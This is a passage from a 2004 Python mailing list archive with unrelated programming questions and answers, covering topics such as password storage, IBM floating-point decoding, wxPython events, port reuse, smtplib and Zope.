> In article <c718a6cf.0402071225.ea09de6 at posting.google.com>, Y2KYZFR1 wrote:
>> Actually PHP can be used as a stand alone general scripting language,
>> just like Python can. Python is much more powerful though.
>
> I was just looking for a way to run PHP as a general script, actually
> (it'd be much easier to debug extensions than having to load a web page
> through Apache every time).  But I can't find a standalone interpreter
> on my system (Debian stable) - all the php packages just hook into
> Apache.  Do you know where I can find a standalone PHP?

$ apt-get install php4-cgi

$ php4 -v
PHP 4.3.3 (cli) (built: Nov 19 2003 23:12:29)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend Technologies


-- 
 "Thinks: I can't think of a thinks. End of thinks routine": Blue Bottle

** Aunty Spam says: Remove the trailing x from the To: field to reply **


From peter at engcorp.com  Thu Feb 26 09:46:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 09:46:04 -0500
Subject: How to obscure a password
References: <mailman.164.1077801277.8594.python-list@python.org>
Message-ID: <403E06AC.BF63EE05@engcorp.com>

"Batista, Facundo" wrote:
> 
> I'm doing a small program, in which the user will have the option to enter
> his/her password everytime, or just save it (to a file).
> 
> So, is there a module to obscure the password text in a secure way?

No.  Absolutely not.

> I can't hash it (with md5 or something), because I not need to compare the
> password the user enters with a previous one.
> 
> I need to restore the password later and use it as if the user just entered
> it.

Your design is probably fundamentally flawed in that case.  Are you 
certain it is not possible to store the hashed password and always
to compare against it?

The biggest concern I have with systems that allow retrieving the password,
even as an administrator, is that the users are generally not informed
that the administrator has full access to their passwords.  Since
many people re-use their favourite passwords all over the place, they
are prone to using the same password that gets them into their online
banking system as they use for the little web-based community site (or
whatever it is) that you're setting up.  

No matter how secure you make the front end (https, encrypting passwords 
in Javascript, etc) if you store the unencrypted password anywhere, you 
are doing your users a gross disservice.  Don't do it!  IMHO.

-Peter


From fuka at fuxoft.cz  Sat Feb 14 04:51:49 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sat, 14 Feb 2004 10:51:49 +0100
Subject: [Twisted] how to find out filenames of uploaded files?
Message-ID: <c0kr2g$9uo$1@ns.felk.cvut.cz>

When I upload files using HTML form, i can get the contents of these 
files from request.args. But how do I find out the filenames under which 
the files were uploaded?

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From max at alcyone.com  Thu Feb 12 22:41:32 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 12 Feb 2004 19:41:32 -0800
Subject: Not all .PY files are compiled to .PYC during execution
References: <8d3e714e.0402121849.7474d1e@posting.google.com>
Message-ID: <402C476C.E68CD2F2@alcyone.com>

Tony C wrote:
> 
> Why is the application file not compiled to .PYC  ?

When you import a .py file, a .pyc is created.  When you run it
directly, it isn't.  The thinking is probably that something that's a
module is less likely to change than something that's a script.  I don't
really think there's much stock to take in the difference; it's just the
way it is.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Love is when you wake up in the morning and have a big smile.
    -- Anggun


From __peter__ at web.de  Fri Feb 20 06:00:30 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 20 Feb 2004 12:00:30 +0100
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
	<7x65e2ikqi.fsf@ruckus.brouhaha.com>
	<zTdZb.11018$Cd6.724593@news20.bellglobal.com>
	<7x7jyipflp.fsf@ruckus.brouhaha.com>
Message-ID: <c14pce$ttm$03$1@news.t-online.com>

Paul Rubin wrote:

> Oops, per other post, it gives strings of bytes and needs filtering.
> The following runs in about 1.2 seconds on my machine, but has an
> small (infinitesimal) chance of failure:
> 
> import string,array,time
> t=time.time()
> ttab = string.letters*4 + '\0'*48
> a = array.array('B', open("/dev/urandom").read(1500000).translate(ttab))
> a = array.array('B', filter(abs,a)).tostring()[:1000000]
> print time.time()-t

from __future__ import division
import array, random, string, sys

identity = string.maketrans("", "")
ld = 256//len(string.letters)
rest = 256 % len(string.letters)
ttab = string.letters*ld + '\0'*rest
dtab = identity[-rest:]

# a fully functional variant of your approach
def randstrUnix(length, extra=1.25):
    a = open("/dev/urandom").read(int(length*extra)).translate(ttab, dtab)
    while len(a) < length:
        a += randstrUnix(length-len(a), 1.3)
    return a[:length]

twoletters = [c+d for c in string.letters for d in string.letters]

# the fastest pure-python version I was able to produce
def randstrPure(length):
    r = random.random
    n = len(twoletters)
    l2 = length//2
    lst = [None] * l2
    for i in xrange(l2):
        lst[i] = twoletters[int(r() * n)]
    if length & 1:
        lst.append(random.choice(string.letters))
    return "".join(lst)

The timings:

$ timeit.py -s"import randchoice as r" "r.randstrUnix(1000000)"
10 loops, best of 3: 2.29e+05 usec per loop
$ timeit.py -s"import randchoice as r" "r.randstrPure(1000000)"
10 loops, best of 3: 6.51e+05 usec per loop

A factor of 3 would hardly justify the OS-dependency in most cases.
Note that using twoletters[int(r() * n)] as seen in Sean Ross' version
instead of random.choice(twoletters) doubled the speed.

Peter


From dontbotherworld at yahoo.com  Mon Feb 23 02:58:45 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Sun, 22 Feb 2004 23:58:45 -0800 (PST)
Subject: AttributeError: 'module' object has no attribute 'urlopen'
Message-ID: <20040223075845.80152.qmail@web60809.mail.yahoo.com>

Hey,
I am trying to run the following example from
diveintopython

import urllib
sock = urllib.urlopen("http://diveintopython.org/")
htmlSource = sock.read()
sock.close()
print htmlSource

I have Python 2.3.3 but when i run the above code I
get the following error:

raceback (most recent call last):
  File "urllib.py", line 1, in ?
    import urllib
  File
"/home/shalen/programming/python/tutorials/py/urllib.py",
line 2, in ?
    sock =
urllib.urlopen("http://diveintopython.org/")
AttributeError: 'module' object has no attribute
'urlopen'

Anyone knows how to fix this and why I am getting this
error?

Thanks
Dont



~
~
~
~


__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From howard at eegsoftware.com  Fri Feb 27 23:48:23 2004
From: howard at eegsoftware.com (Howard Lightstone)
Date: Sat, 28 Feb 2004 04:48:23 GMT
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org>
	<403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
	<403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>
	<103qid3gv1s2q47@news.supernews.com>
	<mailman.150.1077786326.8594.python-list@python.org>
Message-ID: <Xns949CD3B97C398howardeegsoftwarecom@64.164.98.49>

Angelo Secchi <secchi at sssup.it> wrote in 
news:mailman.150.1077786326.8594.python-list at python.org:

> 
> John and Anthon thanks for your help.
> If I did it correctly this is the outcome of the code you asked me to
> try:
> 
>>from binascii import hexlify
>>inf = file('foo','rb')
>>data = inf.read(1970) # 1970 is the exact length of the line
>>for i in range(4):   
>>     index = i * 32
>>     print hexlify(data[index: index+32])
> 
> 
> 3131313131313131312030313032323230313033343130323238353332303031
> 3220202020203032323835333230303132303030303031303030303030314338
> 3930303030303120203939333531302030313130303030312020313220313335
> 313030313032323230313033343133343146ee3bb40000000000000000465de3
> 
> 
> 
>>from binascii import hexlify
>>inf = file('foo','rb')
>>data = inf.read(1970)
>>for i in range(223):
>>     index = i * 4 + 113
>>     print hexlify(data[index: index + 4])
> 
> 
> 46ee3bb4     (I know that this should be 15612852)
> 00000000     (I know that this should be 0)
> 00000000     (I know that this should be 0)
> 465de39a     (I know that this should be 6153114)
> 00000000     (I know that this should be 0)
> 00000000     (I know that this should be 0)
> ...


I seem to recall that the format is 
   sCCCCCCC MMMMMMMM MMMMMMMM MMMMMMMM

The CCCCCCC exponent is biased by 64 and is HEX  (16**(CCCCCCC-64)).

I recall significance issues on Gould machines because the normalization 
was only to the nibble so there might be 2 or 3 0-bits in the mantissa.

41100000   was 1.0

My sample code:

import struct

dividend=float(16**6)

def fromhex370(invalue):
    "convert 4 char binary string 370-formatted floating point float value"
    if invalue == 0:
        return 0.0
    istic,a,b,c=struct.unpack('>BBBB',invalue)
    if istic >= 128:
        sign= -1.0
        istic = istic - 128
    else:
        sign = 1.0
    mant= float(a<<16) + float(b<<8) +float(c)
    return sign* 16**(istic-64)*(mant/dividend)

Of course, no optimation was even thought of ......

I believe the long floating point format just added 4 more bytes of 
significance to the end of the 4 bytes I mentioned above.

HTH


From seberino at spawar.navy.mil  Tue Feb 10 17:32:15 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 10 Feb 2004 14:32:15 -0800
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48: warning:
	ISO C89 does not support `long long'
Message-ID: <bf23f78f.0402101432.3ccff43c@posting.google.com>

c extension compilation gives this gripe about python itself with
-Wall and -pedantic switches -->
/usr/include/python2.2/longobject.h:48: warning: ISO C89 does not
support `long long'

Is there any way to avoid this?

Chris


From newsgroups at jhrothjr.com  Thu Feb 26 09:21:56 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 26 Feb 2004 09:21:56 -0500
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org><403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl><mailman.132.1077738332.8594.python-list@python.org><103q9kkjbru46bb@news.supernews.com><403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl><103qid3gv1s2q47@news.supernews.com>
	<mailman.150.1077786326.8594.python-list@python.org>
Message-ID: <103s07p7qdu3g4e@news.supernews.com>


"Angelo Secchi" <secchi at sssup.it> wrote in message
news:mailman.150.1077786326.8594.python-list at python.org...
>
> John and Anthon thanks for your help.
> If I did it correctly this is the outcome of the code you asked me to
> try:
>
>
> >from binascii import hexlify
> >inf = file('foo','rb')
> >data = inf.read(1970)
> >for i in range(223):
> >     index = i * 4 + 113
> >     print hexlify(data[index: index + 4])
>
>
> 46ee3bb4 (I know that this should be 15612852)

Using the following little program:

-----------------------
import binascii
import struct

str1 = "46ee3bb4"
str2 = binascii.unhexlify(str1)
float = struct.unpack(">f", str2)
print float
float2 = struct.unpack("f", str2)
print float2
-----------------------------

I get:

-----------------------------
(30493.8515625,)
(-1.7502415516901237e-007,)
-----------------------------

So it's clearly *not* standard IEEE-488
format, and it's going to require some bit
twiddling to convert.

The last 3 bytes (in big-endian format)
are the fraction. I believe the first bit is
the fraction sign, and the next 7 bits are
the signed exponent in 4-bit chunks.
In other words, the exponent of your
normalized example is -6. The shift
quantity is in hex digits, not bits!

I've verified that this is the actual format
using the Windows Calc applet - handy
sucker when you want to do hex to decimal
conversions.

John Roth


> 00000000 (I know that this should be 0)
> 00000000 (I know that this should be 0)
> 465de39a (I know that this should be 6153114)
> 00000000 (I know that this should be 0)
> 00000000 (I know that this should be 0)
> ...
>
>
> John just to understand what you said, if the file is in IBM propietary
> binary format (EBCDIC ?) I cannot convert it in ASCII using Python?
>
> Thanks again
> Angelo
>
>
>
>
>
>
>
> On Wed, 25 Feb 2004 20:18:47 -0500
> "John Roth" <newsgroups at jhrothjr.com> wrote:
>
> >
> > "Anton Vredegoor" <anton at vredegoor.doge.nl> wrote in message
> > news:403d3b33$0$11500$3a628fcd at reader2.nntp.hccnet.nl...
> > > "John Roth" <newsgroups at jhrothjr.com> wrote:
> > >
> > > >For the rest of it, I'd like to see a *real* hex dump in mainframe
> > > >format. From what you've given us so far I'm not certain whether
> > > >the struct module can convert the data for you.
> > >
> > > Probably what John wants to see is the output of something like
> > > this:
> > >
> > > #one 'line' of data (since it's a binary file there is no real line
> > > #ending convention: a line is just a specific number of bytes long,
> > > #it's important to find out how many exactly)
> > >
> > > from binascii import hexlify
> > > inf = file('somefile','rb')
> > > data = inf.read(1005) #a 113 bytes string + 232 4 bytes floats
> > > L = map(hexlify,data)
> > > print L
> > >
> > > Anton
> >
> > Thank you! I wasn't aware of that module. It looks like it
> > should do exactly what's needed.
> >
> > Although this would probably do instead of the last 2 lines
> > (and excuse the fact that it's real ugly code, as well as
> > untested)
> >
> > for i in range(4):
> >     index = i * 32
> >     print hexlify(data[index: index+32])
> > for i in range(232):
> >     index = i * 4 + 113
> >     print hexlify(data[index: index + 4])
> >
> > John Roth
> > >
> > >
> >
> >
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
>
>
> --
> ========================================================
>  Angelo Secchi                     PGP Key ID:EA280337
> ========================================================
>   Current Position:
>   Graduate Fellow Scuola Superiore S.Anna
>   Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
>   ph.: +39 050 883365
>   email: secchi at sssup.it www.sssup.it/~secchi/
> ========================================================
>




From jcarlson at nospam.uci.edu  Sun Feb 22 13:48:08 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 22 Feb 2004 10:48:08 -0800
Subject: call a function every n mseconds
In-Reply-To: <91kh309ju78hdemctlh8h8837j1uvh4gp7@4ax.com>
References: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
	<c191tb$l6j$1@news.service.uci.edu>
	<91kh309ju78hdemctlh8h8837j1uvh4gp7@4ax.com>
Message-ID: <c1atm4$q2s$1@news.service.uci.edu>


> If you use time.sleep, as in the example above, and the function takes
> some amount of time, say deltaT, then your loop actually executes
> every msecs+deltaT. This may or may not be an issue for you.

Vedran wasn't worried about the delta, so I didn't concern myself with 
it either.

  - Josiah


From jcarlson at nospam.uci.edu  Tue Feb  3 23:05:19 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 03 Feb 2004 20:05:19 -0800
Subject: wxPython: Transferring keyboard events from one frame to another
In-Reply-To: <c335e460.0402030037.120df5df@posting.google.com>
References: <c335e460.0402020935.36b00bcc@posting.google.com>
	<bvmolq$aud$2@news.service.uci.edu>
	<c335e460.0402030037.120df5df@posting.google.com>
Message-ID: <bvpr68$93m$1@news.service.uci.edu>

> Hi Josiah,
> My virtual keypad is used for text entry with a mouse, but I also want
> to transfer regular keyboard key presses from the keypad to the
> 'client' window.

If your virtual keypad is a subclass of wxDialog, you're going to have a 
problem.  wxDialogs eat keypresses if you are not careful, especially 'tab'.

You should instead try to use a plain wxFrame or wxMiniFrame (check the 
wxPython demo for code).  Then just ignore keyboard events in the keypad 
window (using event.Skip()), they should be passed up the parent 
heirarchy and get to your main application without much effort.  If this 
doesn't work for you, here's what I like to do:

#parent frame
     def OnKeypress(self, event):
         #handle the standard keypress events

#child frame
     def OnKeypress(self, event):
         self.parent.OnKeyPress(event)


Get that event to the keypress handler, no matter what the cost *wink*.
Another option would be to do the following:

#child frame
     def OnKeypress(self, event):
         a = event.Copy()
         wxPostEvent(self.parent, a)


I hope this helps,
  - Josiah


From amy-g-art at cox.net  Wed Feb 11 16:26:56 2004
From: amy-g-art at cox.net (Amy G)
Date: Wed, 11 Feb 2004 13:26:56 -0800
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu>
Message-ID: <y6xWb.39657$P17.16998@fed1read03>

I am sure there is a much more elegant way to do this, but here is one
solution.

for item in c:
    if b.count(item) > 0:
        b.remove(item)


"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c0e4g3$r1$1 at solaris.cc.vt.edu...
> By using lists, I can create sets of number. Suppose I have three lists.
> One list is the super-set, one is a set that contains all the numbers
> (just like the super-set) and the last is sub-set of the super-set. For
> example:
>
> a = [1,2,3,4,5] # The super-set.
> b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
> c = [2,4] # A sub-set
>
> I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
> this would make the sets look like this:
>
> a = [1,2,3,4,5]
> b = [1,3,5]
> c = [2,4]
>
> How do I test set c to find what it contains and then look at set b to
> see if it contains any of those same numbers, and if so, remove them.
>




From thoaan at stud.cs.uit.no  Tue Feb 17 04:47:10 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Tue, 17 Feb 2004 10:47:10 +0100
Subject: Retrieving classes from a module...
References: <c0smr7$2gmr$1@news.uit.no> <c0snhp$1eg$03$1@news.t-online.com>
Message-ID: <c0snv1$2h2b$1@news.uit.no>

> >>> pyclbr.readmodule("csv").keys()
> ['Dialect', 'DictReader', 'excel', 'excel_tab', 'DictWriter', 'Sniffer']

Tanks. But I already knew about that one.

The problem is that it returns all the calsses from the imported modules
aswell. I ONLY want the names of the classes declared in the specific
module..


Any ideas?




From mwilson at the-wire.com  Fri Feb 27 08:26:30 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 27 Feb 2004 08:26:30 -0500
Subject: python newbie having strangeness
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
	<FBq%b.4568$OH4.559@fe2.texas.rr.com>
	<2vit30d6sbvumsi2fqvcvgbi4erqapj9jl@4ax.com>
Message-ID: <GW0PAls/KrKX089yn@the-wire.com>

In article <2vit30d6sbvumsi2fqvcvgbi4erqapj9jl at 4ax.com>,
Joe F. Blow <dood at dood.com> wrote:
>The python reference manual totally sucks. It's incredibly difficult
>to find what you want in it and it seems to not even mention lots of
>stuff. Maybe it's there, but I can't find it. List comprehensions are
>barely mentioned, as far as I can tell. When you do find what you want
>to know about, it seems like it's explained in as cryptic a way as
>possible.
>
>Aaaaarrrrrggggghhhh!!!

   Yep.  Concentrate on the tutorial and the Library
reference.

   Actually the Reference manual is a good reference, but I
don't know anybody who could learn the language from it.

        Regards.        Mel.


From nicodemus at esss.com.br  Sun Feb 29 20:55:54 2004
From: nicodemus at esss.com.br (Nicodemus)
Date: Sun, 29 Feb 2004 22:55:54 -0300
Subject: inherit and overwrite a property (better its method call)
In-Reply-To: <c0rfi6$ldt$02$1@news.t-online.com>
References: <c0r4if$bi5$07$1@news.t-online.com>
	<c0rfi6$ldt$02$1@news.t-online.com>
Message-ID: <4042982A.9060301@esss.com.br>

Peter Otten wrote:

>chris wrote:
><snip>
>http://www.python.org/2.2/descrintro.html might also be of interest for you.
>It has an example of properties based on naming conventions (class
>autoprop).
>
>  
>

I ran into the same problem, and coded a property of my own. The problem 
is that property() holds the actual functions, so when you overwrite 
them in the subclass, the property doesn't know about it. The approach 
below only saves the name of the function, and delays the lookup of the 
actual function when needed.


class subclass_property(object):
    '''Creates an property just like a built-in property, except that the
    functions that are part of the property can be changed in a subclass.
    '''

    def __init__(self, fget=None, fset=None, fdel=None, doc=None):
        self.fget_name = fget and fget.__name__
        self.fset_name = fset and fset.__name__
        if isinstance(fdel, str):
            doc = fdel
            fdel = None
        self.fdel_name = fdel and fdel.__name__
        self.doc = doc or '' 


    def __get__(self, obj, objtype=None):
        if obj is None:
            return self        
        if self.fget_name is None:
            raise AttributeError, "unreadable attribute"
        fget = getattr(obj, self.fget_name)
        return fget()
   

    def __set__(self, obj, value):
        if self.fset_name is None:
            raise AttributeError, "can't set attribute"
        fset = getattr(obj, self.fset_name)
        fset(value)


    def __delete__(self, obj):
        if self.fdel_name is None:
            raise AttributeError, "can't delete attribute"
        fdel = getattr(obj, self.fdel_name)
        fdel()


    def __repr__(self):
        p = []
        if self.fget_name:
            p.append(self.fget_name)
        if self.fset_name:
            p.append(self.fset_name)
        if self.fdel_name:
            p.append(self.fdel_name)
        if self.doc:
            p.append(repr(self.doc))
        return 'action.property(%s)' % ', '.join(p)



HTH,
Nicodemus.




From ahmed.mohamed.edigram.remove.nospam at wanadoo.fr  Mon Feb 23 05:36:57 2004
From: ahmed.mohamed.edigram.remove.nospam at wanadoo.fr (Ahmed MOHAMED ALI)
Date: Mon, 23 Feb 2004 11:36:57 +0100
Subject: Zope experts needed for help
Message-ID: <c1ckt6$i4h$1@news-reader3.wanadoo.fr>

Hi,
I'm working on a Zope application.This applicaion uses the MaxDB database as
main database.
To optimize the access in reading ,what is the best choice between these two
?
1/ using mysql  as front-end database
2/ using the zope ZODB as front-end database

Thanks.

Ahmed




From peter at engcorp.com  Tue Feb 17 14:45:07 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 14:45:07 -0500
Subject: way to remove all non-ascii characters from a file?
References: <defa238f.0402131112.436997c1@posting.google.com>
	<mailman.77.1077041292.31398.python-list@python.org>
Message-ID: <40326F43.119AB7F9@engcorp.com>

Gerhard H?ring wrote:
> 
> omission9 wrote:
> > I have a text file which contains the occasional non-ascii charcter.
> > What is the best way to remove all of these in python?
> 
> Here's a simple example that does what you want:
> 
>  >>> orig = "H?ring"
>  >>> "".join([x for x in orig if ord(x) < 128])
> 'Hring'


Or, if performance is critical, it's possible something like this would
be faster.  (A regex might be even better, avoiding the redundant identity
transformation step.) :

>>> from string import maketrans, translate
>>> table = maketrans('', '')
>>> translate(orig, table, table[128:])
'Hring'


-Peter


From aldo123 at onet.pl  Thu Feb  5 09:44:45 2004
From: aldo123 at onet.pl (mic)
Date: Thu, 5 Feb 2004 15:44:45 +0100
Subject: COM freethreaded mode bug?
Message-ID: <bvtkuc$2k6g$1@news.atman.pl>

I encountered strange behaviour while using freethreaded mode and
InternetExplorer control. After setting sys.coinit_flags = 0 I lost
possiblity to get the values of Document.Frames collection - I get
'interface not implemented' (-2147467262), but all other Document
collections (images, all, scripts) seem to work fine! Commenting coinit flag
returns proper execution but I need to use it anyhow.

Michal




From jcarlson at nospam.uci.edu  Thu Feb 19 01:47:03 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 22:47:03 -0800
Subject: wxPython progress bar widget
In-Reply-To: <d3be1825.0402182028.1af54cb4@posting.google.com>
References: <d3be1825.0402182028.1af54cb4@posting.google.com>
Message-ID: <c11m9v$rba$3@news.service.uci.edu>

> Does wxPython have a progress bar widget for use. If so I can't seem
> to find anything via google.......
> My app is pythoncard/wxPython based. I'd like to have a graphical bar
> meter of some sort to show the status of a recurring lengthy file
> upload done by the app.
> Any advice or suggestions?
> Thanks!!

wxGauge

  - Josiah


From reply.in.the.newsgroup at my.address.is.invalid  Tue Feb  3 12:48:09 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Tue, 03 Feb 2004 18:48:09 +0100
Subject: pyc files
References: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>
Message-ID: <hmnv1092kkbcmdjem4pfdof766c48c1i24@4ax.com>

Ladv?nszky K?roly:
>What are pyc files?

Compiled python code.

-- 
Ren? Pijlman


From __peter__ at web.de  Wed Feb  4 18:40:07 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 05 Feb 2004 00:40:07 +0100
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<bvrem4$vrr$03$1@news.t-online.com>
	<b659da96daef1eb365df3fcbd5f7ca91@news.teranews.com>
Message-ID: <bvrvsn$pdn$02$1@news.t-online.com>

Dang Griffith wrote:

> On Wed, 04 Feb 2004 19:46:28 +0100, Peter Otten <__peter__ at web.de>
> wrote:
> 
>>> That kind of syntax would be especially welcome in list comprehensions:
>>> 
>>> [f(x,y) for x in list if y=g(x)<=0]
>>> 
>>> If g(x) is a fairly complicated expression, and y occurs several times
>>> in f(x,y), considerable clarity could be gained.
>>
>>Is the above list comprehension that frequent? Then how about
>>
>>[f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]
>>
>>With the arrival of generator expressions, some of the overhead (the
>>intermediate list) is bound to go away. In the mean time, there's still
>>that good old for loop, which IMHO is still the most readible solution if
>>things get really complicated.
> 
> I couldn't get your example to run.

Checking...

Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
[GCC 3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> def f(x, y):
...     return '%d%d' % (x, y)
...
>>> def g(x): return 2*x
...
>>> def cond(x): return x % 10 == 2
...
>>> lst = range(10)
>>> [f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]
['12', '612']
>>>

Seems to work. Maybe you overlooked the nested list comps?

> If g is a generator expression, this works for me:
> 
> [f(x, y) for x in lst for y in g(x) if cond(y)]

This is elegant.  

Peter


From geskerrett at hotmail.com  Sun Feb 29 08:59:14 2004
From: geskerrett at hotmail.com (Geoffrey)
Date: 29 Feb 2004 05:59:14 -0800
Subject: Getting Python/IIS/ASP to work
Message-ID: <6b26402d.0402290559.19f0a01c@posting.google.com>

I have been struggling to get python to work as the scripting language
for ASP and I am wondering of there is something special I need to do
to IIS.

I have created a simple test script as follows;
<%@ Language = Python %>
<%
  Response.Write("Python lives in the ASP delimeters!")
%>
<HTML>
<head></head>
<body>
<h1>My Python Test</h1>
</body>
</html>

needless to say all I get is the <h1> header test "My Python" so IIS
will serve the page and render the HTML correctly, however, the ASP
tags are still visible in the renders page and none of the
instructions are carried out.

I have followed several of the instructions I found on the net,
installed the Activex component for python, including the security
patch and all of which seems to be working OK.

IS there something I need to do to setup IIS to start interpreting the
ASP information correctly ??

My configuration is Win2k Pro SP4, IIS 5.0


From FBatista at uniFON.com.ar  Thu Feb 19 08:09:23 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 19 Feb 2004 10:09:23 -0300
Subject: License
Message-ID: <A128D751272CD411BC9200508BC2194D03383625@escpl.tcp.com.ar>

Daniel Carrera wrote:

#- IANAL, hence I need a bit of help understanding Python's license.
#- 
#- Does it fall neatly in any of the following categories?
#- 
#-   *  GPL-style.
#-   *  LGPL-style.
#-   *  BSD or MIT style.
#- 
#- Any guidance would be appreciated.

See the FAQ:

http://www.python.org/doc/faq/general.html#are-there-copyright-restrictions-
on-the-use-of-python

.	Facundo



From p1fp4f at hotmail.com  Mon Feb 23 11:00:50 2004
From: p1fp4f at hotmail.com (Pif Paf)
Date: 23 Feb 2004 08:00:50 -0800
Subject: TCP servers in Python - two processes want to use same port
Message-ID: <d32e694.0402230800.1f98c5f1@posting.google.com>

I am writing programs that will run as TCP servers. Briefly, I want to 
set up a TCP server on a port in such a way that if another server is 
already sitting on that port (both servers are Python programs I will be 
writing), the old one is booted off (and its process ended).

My master process is a test harness, which tests a script which as part 
of its functionality sends http GET messages. My test harness sets up 
an http server as a child process, by creating an instance of 
popen2.Popen3().

The child process is a very simple program using SimpleHTTPServer. The 
problem is when I run my test harness, break it with Ctrl-C then try to
run it again. The http server complains that it cannot bind to the socket,
as the address is already in use.

My production system will use several http servers (I'm using http GET
messages as a simple form of inter-process communication), and I don't 
want to have a situation where a program runs one time (because it's 
asking to bind to a port that isn't already in use), but the next time, 
it doesn't run because the port is being used.

Now of course I could use files to describe what ports are currently in
use and what process ids are using them, and kill the process before
trying to re-use the port, but that solution strikes me as inelegant.
Is there a better way? For example, is there a way of writing a program
that will force binding to a port, and if an existing process has that
port will kick it off (and possibly destroy it)?

--
Pif Paf


From soundwave56 at yahoo.ca  Thu Feb  5 18:27:25 2004
From: soundwave56 at yahoo.ca (Hank)
Date: 5 Feb 2004 15:27:25 -0800
Subject: smtplib sendmail problems
Message-ID: <731fc603.0402051527.768e5372@posting.google.com>

Hi, 

I have a function that sends mail but I'm finding the number of
characters in the To: field is limited to ~255 characters. This means
that email is sent to only part of the email list.


#recipients is a list of email addresses, greater than 255 characters
in total

header = "To: " + string.join(recipients, "; ") + "\r\n" \
         "From: " + "testing at test.com\r\n" \
         "Date: " +  time.strftime("%A, %B %d, %Y %I:%M %p",
sendTime)+ "\r\n"
         "X-Mailer: Automated Test \r\n" \
         "Subject: " + subject + "\r\n\r\n" 
text = header + mailText
server = smtplib.SMTP('something.something.com')
result = server.sendmail("testing at test.com", recipients, text)
server.quit()


Any help is greatly appreciated.

Thanks


From alan.gauld at btinternet.com  Tue Feb 17 04:06:58 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Tue, 17 Feb 2004 09:06:58 +0000
Subject: OO style advice
References: <1076943278.22567.0@echo.uk.clara.net>
Message-ID: <m0m230lm5dv7j3rmpe1425nof55mj11ahf@4ax.com>

On Mon, 16 Feb 2004 14:54:31 -0000, "DomF"
<fidtz at clara#spam#.co.uk> wrote:
> I am passing in a clock object to the board in __init__ to achieve this.
> However, means that the clock object can be changed via the board object and
> the clock object. Is this good style or should I be designing in a totally
> different way?

In OO objects communicate via messages. Thus think about the
messages that can be sent to the clock. Do not think about the
data inside the clock, that should be treated as private (even
though Python does not enforce this).

Now you have a single clock object but referenced both inside and
outside the board. Is that really what you want or do you want
the oard to have its own clock instance internally? If it is a
single object then its perfectly reasonable that both internal
and external objects can send it messages. If its an internal
object then only the board can conceptually see it.
If you need to initialise the internal clock you may want to take
a time parameter to the board and use that to set the clock
initial values, rather than passing a functioning clock object as
the parameter.

Also as somebody else said you may want to use multiple clock
objects...

> I previously had them separate but that led to lots of ugly board.time1 =
> clock.time1 statements.

Rather than access the data I'd provide a method, say
synchronise?

board.synchronise(myClock)

Which internally sets the board clock to the same time as the
parameter clock, something like:

def synchronise(self, aClock):
    self.clock.setTime(aClock.time())

Whether you think that looks any less ugly than the assignments
you had is a moot point!

Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From __peter__ at web.de  Sat Feb 28 05:49:19 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 28 Feb 2004 11:49:19 +0100
Subject: Reading data in lists: Error
References: <mailman.228.1077928707.8594.python-list@python.org>
Message-ID: <c1prng$2me$07$1@news.t-online.com>

> I ran this code only to get the following error:
> 
>  File "<string>", line 24
>     NYA=x[i]-x[i-1]
>       ^
> SyntaxError: invalid syntax
> 
> 
> I remember Mr.Skip Montanaro quoting in his email earlier that at the
> point I make the assignment neither x has no i'th elements. I am sure this
> is what is happening now.

